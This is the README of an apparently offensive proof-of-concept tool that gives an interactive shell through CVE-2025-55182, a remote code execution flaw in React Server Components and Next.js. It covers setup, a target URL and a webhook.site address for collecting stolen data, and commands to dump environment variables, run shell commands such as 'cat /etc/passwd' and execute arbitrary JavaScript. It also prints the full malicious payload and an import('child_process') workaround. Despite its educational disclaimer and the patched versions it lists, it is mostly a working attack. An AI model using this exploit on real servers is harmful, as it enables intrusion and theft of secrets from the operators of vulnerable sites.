Interactive shell for exploiting CVE-2025-55182, a Remote Code Execution vulnerability in React Server Components.
This tool is provided for EDUCATIONAL and AUTHORIZED SECURITY TESTING purposes only.
- Only use on systems you own or have explicit written permission to test
- Unauthorized access to computer systems is illegal
- The author is not responsible for any misuse of this tool
- This is a proof-of-concept for security research and awareness
CVE-2025-55182 affects React Server Components (RSC) in:
- Next.js < 15.1.7, < 14.2.29, < 13.5.9
- Waku (various versions)
The vulnerability allows Remote Code Execution (RCE) through malicious payloads sent to Server Actions.
- The RSC protocol uses
$@xsyntax to reference internal Chunk objects - JavaScript automatically unwraps objects with
.then()methods (Promise-like) - By crafting a malicious payload with controlled
_response,_formData, and_prefixproperties - The attacker can reach the
Functionconstructor via prototype chain traversal - This allows arbitrary JavaScript execution on the server
$3:constructor:constructor → Function constructor → RCE
git clone https://github.com/NathanJ60/react2shell-interactive.git
cd react2shell-interactive
npm installEdit exploit.js and update these values:
const TARGET_URL = 'http://localhost:3000/' // Vulnerable Next.js server
const WEBHOOK_URL = 'https://webhook.site/YOUR-ID' // Your webhook URLGet a free webhook at: https://webhook.site
node exploit.js| Command | Description |
|---|---|
!test |
Test if exploit works (sends confirmation to webhook) |
!env |
Exfiltrate environment variables (process.env) |
!js <code> |
Execute custom JavaScript |
!help |
Show help |
!exit |
Exit |
<command> |
Execute shell command (e.g., whoami, ls, cat /etc/passwd) |
react2shell> !test
[+] Sent! Check webhook
react2shell> whoami
[+] Sent: whoami
react2shell> ls -la
[+] Sent: ls -la
react2shell> !env
[+] Sent! Check webhook for env vars
Results appear on your webhook, not in the terminal.
{
'0': '$1',
'1': {
'status': 'resolved_model',
'reason': 0,
'_response': '$4',
'value': '{"then":"$3:map","0":{"then":"$B3"},"length":1}',
'then': '$2:then'
},
'2': '$@3',
'3': [],
'4': {
'_prefix': '<JAVASCRIPT_CODE>//',
'_formData': { 'get': '$3:constructor:constructor' },
'_chunks': '$2:_response:_chunks'
}
}- Payload is sent as multipart form data with
next-actionheader - React Flight parser processes the chunks
$@3creates a Chunk reference$3:constructor:constructortraverses toFunction_prefixcontent is passed toFunction()and executed
- Uses ESM modules, so
require()is not available - Use dynamic
import()instead:import("child_process").then(cp => cp.execSync("whoami"))
Update to these versions to fix the vulnerability:
- Next.js >= 15.1.7
- Next.js >= 14.2.29
- Next.js >= 13.5.9
MIT License - For educational purposes only.
Security Research PoC - Use responsibly.